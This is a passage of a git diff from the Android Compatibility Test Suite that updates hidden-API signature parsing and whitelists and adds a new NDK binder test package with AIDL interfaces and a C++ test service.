-LOCAL_MODULE := libcts_dexchecker
-LOCAL_MODULE_TAGS := optional
-LOCAL_SRC_FILES := dex-checker.cpp
-LOCAL_CFLAGS := -Wall -Werror
-LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
-LOCAL_SDK_VERSION := current
-LOCAL_NDK_STL_VARIANT := c++_static
-include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/signature/intent-check/Android.mk b/tests/signature/intent-check/Android.mk
index c251c3f..83a614a 100644
--- a/tests/signature/intent-check/Android.mk
+++ b/tests/signature/intent-check/Android.mk
@@ -32,4 +32,6 @@
     android-support-test \
     cts-signature-common \
 
+LOCAL_HOST_REQUIRED_MODULES := cts-dynamic-config
+
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/signature/intent-check/DynamicConfig.xml b/tests/signature/intent-check/DynamicConfig.xml
index 10b4834..6c7aace 100644
--- a/tests/signature/intent-check/DynamicConfig.xml
+++ b/tests/signature/intent-check/DynamicConfig.xml
@@ -23,13 +23,6 @@
     Bug: 78574873 android.intent.action.INSTALL_EPHEMERAL_PACKAGE
     Bug: 78574873 android.intent.action.RESOLVE_EPHEMERAL_PACKAGE
     Bug: 78574873 android.intent.action.EPHEMERAL_RESOLVER_SETTINGS
-    Bug: 115799975 android.intent.action.ACTION_AIRPLANE_MODE_CHANGED
-         Will be removed after v17 of CS.apk is released.
-    Bug: 117590943 android.intent.action.View
-         Fixed in GMSCore v14.7.68.
-    Bug: 67109014 android.intent.action.BADGE_COUNT_UPDATE // Samsung is sending
-    //new corrected intent and the old intent in P.
-    //Target date for fix is under disucssion for BADGE_COUNT_UPDATE
 -->
 <dynamicConfig>
     <entry key ="intent_whitelist">
@@ -41,8 +34,5 @@
       <value>android.intent.action.INSTALL_EPHEMERAL_PACKAGE</value>
       <value>android.intent.action.RESOLVE_EPHEMERAL_PACKAGE</value>
       <value>android.intent.action.EPHEMERAL_RESOLVER_SETTINGS</value>
-      <value>android.intent.action.ACTION_AIRPLANE_MODE_CHANGED</value>
-      <value>android.intent.action.View</value>
-      <value>android.intent.action.BADGE_COUNT_UPDATE</value>
     </entry>
 </dynamicConfig>
diff --git a/tests/signature/runSignatureTests.sh b/tests/signature/runSignatureTests.sh
index f8ec3d1..fead7c7 100755
--- a/tests/signature/runSignatureTests.sh
+++ b/tests/signature/runSignatureTests.sh
@@ -27,6 +27,7 @@
 
 CtsHiddenApiBlacklistCurrentApiTestCases
 CtsHiddenApiBlacklistApi27TestCases
+CtsHiddenApiBlacklistApi28TestCases
 CtsHiddenApiBlacklistDebugClassTestCases
 
 CtsHiddenApiKillswitchWildcardTestCases
diff --git a/tests/signature/src/android/signature/cts/DexApiDocumentParser.java b/tests/signature/src/android/signature/cts/DexApiDocumentParser.java
index c199bc0..9ea8048 100644
--- a/tests/signature/src/android/signature/cts/DexApiDocumentParser.java
+++ b/tests/signature/src/android/signature/cts/DexApiDocumentParser.java
@@ -19,6 +19,7 @@
 import java.io.IOException;
 import java.io.InputStream;
 import java.io.InputStreamReader;
+import java.util.Arrays;
 import java.util.Spliterator;
 import java.util.function.Consumer;
 import java.util.regex.Matcher;
@@ -46,10 +47,11 @@
         private final BufferedReader mReader;
         private int mLineNum;
 
-        private static final Pattern REGEX_CLASS = Pattern.compile("^L[^->]*;$");
-        private static final Pattern REGEX_FIELD = Pattern.compile("^(L[^->]*;)->(.*):(.*)$");
+        // Regex patterns which match DEX signatures of methods and fields.
+        // See comment by next() for more details.
+        private static final Pattern REGEX_FIELD = Pattern.compile("^(L[^>]*;)->(.*):(.*)$");
         private static final Pattern REGEX_METHOD =
-                Pattern.compile("^(L[^->]*;)->(.*)(\\(.*\\).*)$");
+                Pattern.compile("^(L[^>]*;)->(.*)(\\(.*\\).*)$");
 
         DexApiSpliterator(BufferedReader reader) {
             mReader = reader;
@@ -87,15 +89,12 @@
         }
 
         /**
-         * Parses lines of DEX signatures from `mReader`. The following three
+         * Parses lines of DEX signatures from `mReader`. The following two
          * line formats are supported:
-         * 1) [class descriptor]
-         *      - e.g. Lcom/example/MyClass;
-         *      - these lines are ignored
-         * 2) [class descriptor]->[field name]:[field type]
+         * 1) [class descriptor]->[field name]:[field type]
          *      - e.g. Lcom/example/MyClass;->myField:I
          *      - these lines are parsed as field signatures
-         * 3) [class descriptor]->[method name]([method parameter types])[method return type]
+         * 2) [class descriptor]->[method name]([method parameter types])[method return type]
          *      - e.g. Lcom/example/MyClass;->myMethod(Lfoo;Lbar;)J
          *      - these lines are parsed as method signatures
          */
@@ -111,30 +110,30 @@
                 // Increment the line number.
                 mLineNum = mLineNum + 1;
 
+                // Split the CSV line.
+                String[] splitLine = line.split(",");
+                String signature = splitLine[0];
+                String[] flags = Arrays.copyOfRange(splitLine, 1, splitLine.length);
+
                 // Match line against regex patterns.
-                Matcher matchClass = REGEX_CLASS.matcher(line);
-                Matcher matchField = REGEX_FIELD.matcher(line);
-                Matcher matchMethod = REGEX_METHOD.matcher(line);
+                Matcher matchField = REGEX_FIELD.matcher(signature);
+                Matcher matchMethod = REGEX_METHOD.matcher(signature);
 
                 // Check that *exactly* one pattern matches.
-                int matchCount = (matchClass.matches() ? 1 : 0) + (matchField.matches() ? 1 : 0) +
-                        (matchMethod.matches() ? 1 : 0);
+                int matchCount = (matchField.matches() ? 1 : 0) + (matchMethod.matches() ? 1 : 0);
                 if (matchCount == 0) {
                     throw new ParseException("Could not parse: \"" + line + "\"", mLineNum);
                 } else if (matchCount > 1) {
                     throw new ParseException("Ambiguous parse: \"" + line + "\"", mLineNum);
                 }
 
-                // Extract information from the line.
-                if (matchClass.matches()) {
-                    // We ignore lines describing a class because classes are
-                    // not being hidden.
-                } else if (matchField.matches()) {
+                // Extract information from the signature.
+                if (matchField.matches()) {
                     return new DexField(
-                            matchField.group(1), matchField.group(2), matchField.group(3));
+                            matchField.group(1), matchField.group(2), matchField.group(3), flags);
                 } else if (matchMethod.matches()) {
                     return new DexMethod(
-                            matchMethod.group(1),matchMethod.group(2), matchMethod.group(3));
+                            matchMethod.group(1),matchMethod.group(2), matchMethod.group(3), flags);
                 } else {
                     throw new IllegalStateException();
                 }
diff --git a/tests/signature/src/android/signature/cts/DexField.java b/tests/signature/src/android/signature/cts/DexField.java
index 57f6196..5562e98 100644
--- a/tests/signature/src/android/signature/cts/DexField.java
+++ b/tests/signature/src/android/signature/cts/DexField.java
@@ -16,8 +16,8 @@
 package android.signature.cts;
 
 public class DexField extends DexMember {
-  public DexField(String className, String name, String type) {
-      super(className, name, type);
+  public DexField(String className, String name, String type, String[] flags) {
+      super(className, name, type, flags);
   }
 
   @Override
diff --git a/tests/signature/src/android/signature/cts/DexMember.java b/tests/signature/src/android/signature/cts/DexMember.java
index 930f92b..a3898ec 100644
--- a/tests/signature/src/android/signature/cts/DexMember.java
+++ b/tests/signature/src/android/signature/cts/DexMember.java
@@ -22,11 +22,13 @@
     private final String mName;
     private final String mClassDescriptor;
     private final String mType;
+    private final String[] mFlags;
 
-    protected DexMember(String className, String name, String type) {
+    protected DexMember(String className, String name, String type, String[] flags) {
         mName = name;
         mClassDescriptor = className;
         mType = type;
+        mFlags = flags;
     }
 
     public String getName() {
@@ -49,6 +51,10 @@
         return dexToJavaType(mType);
     }
 
+    public String[] getHiddenapiFlags() {
+        return mFlags;
+    }
+
     /**
      * Converts `type` to a Java type.
      */
diff --git a/tests/signature/src/android/signature/cts/DexMethod.java b/tests/signature/src/android/signature/cts/DexMethod.java
index ad21c7a..9f209fe 100644
--- a/tests/signature/src/android/signature/cts/DexMethod.java
+++ b/tests/signature/src/android/signature/cts/DexMethod.java
@@ -24,8 +24,8 @@
 public class DexMethod extends DexMember {
   private final List<String> mParamTypeList;
 
-  public DexMethod(String className, String name, String signature) {
-      super(className, name, parseDexReturnType(signature));
+  public DexMethod(String className, String name, String signature, String[] flags) {
+      super(className, name, parseDexReturnType(signature), flags);
       mParamTypeList = parseDexTypeList(signature);
   }
 
diff --git a/tests/tests/appwidget/packages/launchermanifest/AndroidManifest-pinActivity.xml b/tests/tests/appwidget/packages/launchermanifest/AndroidManifest-pinActivity.xml
index 57d6ba8..47d1e05 100644
--- a/tests/tests/appwidget/packages/launchermanifest/AndroidManifest-pinActivity.xml
+++ b/tests/tests/appwidget/packages/launchermanifest/AndroidManifest-pinActivity.xml
@@ -15,7 +15,8 @@
  * limitations under the License.
  -->
 
-<manifest xmlns:android="http://schemas.android.com/apk/res/android">
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.appwidget.cts.packages">
 
     <application>
         <activity android:name="AppWidgetConfirmPin">
diff --git a/tests/tests/appwidget/packages/widgetprovider/AndroidManifestV1.xml b/tests/tests/appwidget/packages/widgetprovider/AndroidManifestV1.xml
index ea23176..2c1db2f 100644
--- a/tests/tests/appwidget/packages/widgetprovider/AndroidManifestV1.xml
+++ b/tests/tests/appwidget/packages/widgetprovider/AndroidManifestV1.xml
@@ -15,7 +15,8 @@
  * limitations under the License.
  -->
 
-<manifest xmlns:android="http://schemas.android.com/apk/res/android" >
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.appwidget.cts.widgetprovider">
 
     <application>
         <receiver android:name="android.appwidget.cts.packages.SimpleProvider">
diff --git a/tests/tests/appwidget/packages/widgetprovider/AndroidManifestV2.xml b/tests/tests/appwidget/packages/widgetprovider/AndroidManifestV2.xml
index e46e160..8a070b4 100644
--- a/tests/tests/appwidget/packages/widgetprovider/AndroidManifestV2.xml
+++ b/tests/tests/appwidget/packages/widgetprovider/AndroidManifestV2.xml
@@ -15,7 +15,8 @@
  * limitations under the License.
  -->
 
-<manifest xmlns:android="http://schemas.android.com/apk/res/android" >
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.appwidget.cts.widgetprovider">
 
     <application>
         <receiver android:name="android.appwidget.cts.packages.SimpleProvider">
diff --git a/tests/tests/appwidget/packages/widgetprovider/AndroidManifestV3.xml b/tests/tests/appwidget/packages/widgetprovider/AndroidManifestV3.xml
index 6da740d..f6f012e 100644
--- a/tests/tests/appwidget/packages/widgetprovider/AndroidManifestV3.xml
+++ b/tests/tests/appwidget/packages/widgetprovider/AndroidManifestV3.xml
@@ -15,7 +15,8 @@
  * limitations under the License.
  -->
 
-<manifest xmlns:android="http://schemas.android.com/apk/res/android" >
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.appwidget.cts.widgetprovider">
 
     <application>
         <receiver android:name="android.appwidget.cts.packages.SimpleProvider">
diff --git a/tests/tests/batterysaving/apps/app_target_api_25/Android.mk b/tests/tests/batterysaving/apps/app_target_api_25/Android.mk
index f1ebee6..42c1466 100644
--- a/tests/tests/batterysaving/apps/app_target_api_25/Android.mk
+++ b/tests/tests/batterysaving/apps/app_target_api_25/Android.mk
@@ -33,6 +33,7 @@
     ub-uiautomator
 
 LOCAL_SDK_VERSION := test_current
+LOCAL_MIN_SDK_VERSION := 23
 
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/tests/tests/binder_ndk/Android.mk b/tests/tests/binder_ndk/Android.mk
new file mode 100644
index 0000000..398bbe4
--- /dev/null
+++ b/tests/tests/binder_ndk/Android.mk
@@ -0,0 +1,50 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsNdkBinderTestCases
+
+# Don't include this package in any target.
+LOCAL_MODULE_TAGS := optional
+
+# Include both the 32 and 64 bit versions
+LOCAL_MULTILIB := both
+
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    ctstestrunner \
+    libbinder_ndk_test_interface-java \
+    nativetesthelper
+
+LOCAL_JNI_SHARED_LIBRARIES := \
+    libbinder_ndk_test \
+    libbinder_ndk_test_utilities \
+    libbinder_ndk_test_interface-ndk \
+    libbinder_ndk_test_interface_old \
+    libbinder_ndk_test_interface_new \
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_SDK_VERSION := current
+LOCAL_NDK_STL_VARIANT := c++_shared
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/binder_ndk/AndroidManifest.xml b/tests/tests/binder_ndk/AndroidManifest.xml
new file mode 100644
index 0000000..d4ab466
--- /dev/null
+++ b/tests/tests/binder_ndk/AndroidManifest.xml
@@ -0,0 +1,52 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.binder.cts">
+
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+
+        <service
+            android:name="android.binder.cts.JavaService$Local"
+            android:exported="true" />
+        <service
+            android:name="android.binder.cts.NativeService$Local"
+            android:exported="true" />
+
+        <service
+            android:name="android.binder.cts.JavaService$Remote"
+            android:process=":java"
+            android:exported="true" />
+        <service
+            android:name="android.binder.cts.NativeService$Remote"
+            android:process=":native"
+            android:exported="true" />
+
+        <service
+            android:name="android.binder.cts.NativeService$RemoteOld"
+            android:process=":native_old"
+            android:exported="true" />
+    </application>
+
+    <!-- This is a self-instrumenting test package. -->
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.binder.cts"
+                     android:label="CTS tests of native binder API">
+    </instrumentation>
+
+</manifest>
diff --git a/tests/tests/binder_ndk/AndroidTest.xml b/tests/tests/binder_ndk/AndroidTest.xml
new file mode 100644
index 0000000..c627392
--- /dev/null
+++ b/tests/tests/binder_ndk/AndroidTest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS NDK Binder test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="devtools" />
+    <option name="not-shardable" value="true" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsNdkBinderTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.binder.cts" />
+        <option name="runtime-hint" value="0m30s" />
+    </test>
+</configuration>
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/.clang-format b/tests/tests/binder_ndk/libbinder_ndk_test/.clang-format
new file mode 100644
index 0000000..42714cd
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/.clang-format
@@ -0,0 +1,7 @@
+BasedOnStyle: Google
+ColumnLimit: 100
+IndentWidth: 2
+PointerAlignment: Left
+AllowShortFunctionsOnASingleLine: Inline
+PointerAlignment: Left
+UseTab: Never
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp b/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp
new file mode 100644
index 0000000..a196ddd
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp
@@ -0,0 +1,99 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+aidl_interface {
+    name: "libbinder_ndk_test_interface",
+    srcs: [
+        "test_package/IEmpty.aidl",
+        "test_package/ITest.aidl",
+        "test_package/RegularPolygon.aidl",
+        "test_package/Bar.aidl",
+        "test_package/Foo.aidl",
+    ],
+    versions: ["1"],
+}
+
+cc_defaults {
+    name: "libbinder_ndk_test_defaults",
+
+    cflags: [
+        "-Wall",
+        "-Werror",
+    ],
+
+    shared_libs: [
+        "liblog",
+        "libbinder_ndk",
+    ],
+    whole_static_libs: ["libnativetesthelper_jni"],
+
+    sdk_version: "current",
+    stl: "c++_static",
+}
+
+cc_library_shared {
+    name: "libbinder_ndk_test_utilities",
+    defaults: ["libbinder_ndk_test_defaults"],
+    srcs: ["utilities.cpp"],
+}
+
+cc_library_shared {
+    name: "libbinder_ndk_test_interface_new",
+    defaults: ["libbinder_ndk_test_defaults"],
+    srcs: [
+        "android_binder_cts_NativeService.cpp",
+    ],
+
+    // Using the up-to-date version of the interface
+
+    shared_libs: [
+        "libbinder_ndk_test_interface-ndk",
+        "libbinder_ndk_test_utilities",
+    ],
+}
+
+cc_library_shared {
+    name: "libbinder_ndk_test_interface_old",
+    defaults: ["libbinder_ndk_test_defaults"],
+    srcs: [
+        "android_binder_cts_NativeService.cpp",
+    ],
+    cflags: ["-DUSING_VERSION_1"],
+
+    // Using the frozen version 1 of the interface
+    static_libs: [
+        "libbinder_ndk_test_interface-V1-ndk",
+    ],
+
+    shared_libs: [
+        "libbinder_ndk_test_utilities",
+    ],
+}
+
+cc_library_shared {
+    name: "libbinder_ndk_test",
+    defaults: ["libbinder_ndk_test_defaults"],
+    srcs: [
+        "test_ibinder.cpp",
+        "test_ibinder_jni.cpp",
+        "test_native_aidl_client.cpp",
+        "test_parcel.cpp",
+        "test_status.cpp",
+    ],
+
+    shared_libs: [
+        "libbinder_ndk_test_interface-ndk",
+        "libbinder_ndk_test_utilities",
+    ],
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/android_binder_cts_NativeService.cpp b/tests/tests/binder_ndk/libbinder_ndk_test/android_binder_cts_NativeService.cpp
new file mode 100644
index 0000000..ecc04c3
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/android_binder_cts_NativeService.cpp
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define LOG_TAG "Cts-NdkBinderTest"
+
+#include <android/binder_ibinder_jni.h>
+
+#include "itest_impl.h"
+
+using ::aidl::test_package::ITest;
+using ::ndk::SharedRefBase;
+using ::ndk::SpAIBinder;
+
+extern "C" JNIEXPORT jobject JNICALL
+Java_android_binder_cts_NativeService_getBinder_1native(JNIEnv* env) {
+  // The ref owns the MyTest, and the binder owns the ref.
+  SpAIBinder binder = SharedRefBase::make<MyTest>()->asBinder();
+
+  // And the Java object owns the binder
+  return AIBinder_toJavaBinder(env, binder.get());
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/Bar.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/Bar.aidl
new file mode 100644
index 0000000..6a5d253
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/Bar.aidl
@@ -0,0 +1,7 @@
+package test_package;
+parcelable Bar {
+  String a = "BAR";
+  String b = "BAR2";
+  float c = 4.200000f;
+  int d = 100;
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/Foo.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/Foo.aidl
new file mode 100644
index 0000000..cb1dd28
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/Foo.aidl
@@ -0,0 +1,9 @@
+package test_package;
+parcelable Foo {
+  String a = "FOO";
+  int b = 42;
+  float c = 3.140000f;
+  test_package.Bar d;
+  test_package.Bar e;
+  int f = 3;
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/IEmpty.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/IEmpty.aidl
new file mode 100644
index 0000000..2baa52c
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/IEmpty.aidl
@@ -0,0 +1,3 @@
+package test_package;
+interface IEmpty {
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/ITest.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/ITest.aidl
new file mode 100644
index 0000000..9a07405
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/ITest.aidl
@@ -0,0 +1,55 @@
+package test_package;
+interface ITest {
+  String GetName();
+  void TestVoidReturn();
+  void TestOneway();
+  int GiveMeMyCallingPid();
+  int GiveMeMyCallingUid();
+  void CacheCallingInfoFromOneway();
+  int GiveMeMyCallingPidFromOneway();
+  int GiveMeMyCallingUidFromOneway();
+  int RepeatInt(int value);
+  long RepeatLong(long value);
+  float RepeatFloat(float value);
+  double RepeatDouble(double value);
+  boolean RepeatBoolean(boolean value);
+  char RepeatChar(char value);
+  byte RepeatByte(byte value);
+  IBinder RepeatBinder(IBinder value);
+  @nullable IBinder RepeatNullableBinder(@nullable IBinder value);
+  test_package.IEmpty RepeatInterface(test_package.IEmpty value);
+  @nullable test_package.IEmpty RepeatNullableInterface(@nullable test_package.IEmpty value);
+  ParcelFileDescriptor RepeatFd(in ParcelFileDescriptor fd);
+  @nullable ParcelFileDescriptor RepeatNullableFd(in @nullable ParcelFileDescriptor fd);
+  String RepeatString(String value);
+  @nullable String RepeatNullableString(@nullable String value);
+  test_package.RegularPolygon RepeatPolygon(in test_package.RegularPolygon value);
+  void RenamePolygon(inout test_package.RegularPolygon value, String newName);
+  boolean[] RepeatBooleanArray(in boolean[] input, out boolean[] repeated);
+  byte[] RepeatByteArray(in byte[] input, out byte[] repeated);
+  char[] RepeatCharArray(in char[] input, out char[] repeated);
+  int[] RepeatIntArray(in int[] input, out int[] repeated);
+  long[] RepeatLongArray(in long[] input, out long[] repeated);
+  float[] RepeatFloatArray(in float[] input, out float[] repeated);
+  double[] RepeatDoubleArray(in double[] input, out double[] repeated);
+  String[] RepeatStringArray(in String[] input, out String[] repeated);
+  RegularPolygon[] RepeatRegularPolygonArray(in RegularPolygon[] input, out RegularPolygon[] repeated);
+  @nullable boolean[] RepeatNullableBooleanArray(in @nullable boolean[] input);
+  @nullable byte[] RepeatNullableByteArray(in @nullable byte[] input);
+  @nullable char[] RepeatNullableCharArray(in @nullable char[] input);
+  @nullable int[] RepeatNullableIntArray(in @nullable int[] input);
+  @nullable long[] RepeatNullableLongArray(in @nullable long[] input);
+  @nullable float[] RepeatNullableFloatArray(in @nullable float[] input);
+  @nullable double[] RepeatNullableDoubleArray(in @nullable double[] input);
+  @nullable String[] RepeatNullableStringArray(in @nullable String[] input);
+  @nullable String[] DoubleRepeatNullableStringArray(in @nullable String[] input, out @nullable String[] repeated);
+  test_package.Foo repeatFoo(in test_package.Foo inFoo);
+  void renameFoo(inout test_package.Foo foo, String name);
+  void renameBar(inout test_package.Foo foo, String name);
+  int getF(in test_package.Foo foo);
+  const int kZero = 0;
+  const int kOne = 1;
+  const int kOnes = -1;
+  const String kEmpty = "";
+  const String kFoo = "foo";
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/RegularPolygon.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/RegularPolygon.aidl
new file mode 100644
index 0000000..14c6c2e
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/RegularPolygon.aidl
@@ -0,0 +1,6 @@
+package test_package;
+parcelable RegularPolygon {
+  String name = "square";
+  int numSides = 4;
+  float sideLength = 1.000000f;
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/itest_impl.h b/tests/tests/binder_ndk/libbinder_ndk_test/itest_impl.h
new file mode 100644
index 0000000..228759d
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/itest_impl.h
@@ -0,0 +1,326 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <aidl/test_package/BnTest.h>
+
+#include <condition_variable>
+#include <mutex>
+
+#include "utilities.h"
+
+using IEmpty = ::aidl::test_package::IEmpty;
+using RegularPolygon = ::aidl::test_package::RegularPolygon;
+using Foo = ::aidl::test_package::Foo;
+using Bar = ::aidl::test_package::Bar;
+
+class MyTest : public ::aidl::test_package::BnTest,
+               public ThisShouldBeDestroyed {
+ public:
+  ::ndk::ScopedAStatus GetName(std::string* _aidl_return) override {
+    *_aidl_return = "CPP";
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus TestVoidReturn() override {
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus TestOneway() override {
+    // This return code should be ignored since it is oneway.
+    return ::ndk::ScopedAStatus(AStatus_fromStatus(STATUS_UNKNOWN_ERROR));
+  }
+
+  ::ndk::ScopedAStatus GiveMeMyCallingPid(int32_t* _aidl_return) override {
+    *_aidl_return = AIBinder_getCallingPid();
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus GiveMeMyCallingUid(int32_t* _aidl_return) override {
+    *_aidl_return = AIBinder_getCallingUid();
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+
+ private:
+  bool mCached = false;
+  std::mutex mCachedMutex;
+  std::condition_variable mCachedCondition;
+  int mCachedPid = -1;
+  int mCachedUid = -1;
+
+ public:
+  ::ndk::ScopedAStatus CacheCallingInfoFromOneway() override {
+    std::unique_lock<std::mutex> l(mCachedMutex);
+    mCached = true;
+    mCachedPid = AIBinder_getCallingPid();
+    mCachedUid = AIBinder_getCallingUid();
+    mCachedCondition.notify_all();
+
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus GiveMeMyCallingPidFromOneway(
+      int32_t* _aidl_return) override {
+    std::unique_lock<std::mutex> l(mCachedMutex);
+    mCachedCondition.wait(l, [&] { return mCached; });
+
+    *_aidl_return = mCachedPid;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus GiveMeMyCallingUidFromOneway(
+      int32_t* _aidl_return) override {
+    std::unique_lock<std::mutex> l(mCachedMutex);
+    mCachedCondition.wait(l, [&] { return mCached; });
+
+    *_aidl_return = mCachedUid;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatInt(int32_t in_value,
+                                 int32_t* _aidl_return) override {
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatLong(int64_t in_value,
+                                  int64_t* _aidl_return) override {
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatFloat(float in_value,
+                                   float* _aidl_return) override {
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatDouble(double in_value,
+                                    double* _aidl_return) override {
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatBoolean(bool in_value,
+                                     bool* _aidl_return) override {
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatChar(char16_t in_value,
+                                  char16_t* _aidl_return) override {
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatByte(int8_t in_value,
+                                  int8_t* _aidl_return) override {
+    *_aidl_return = in_value;
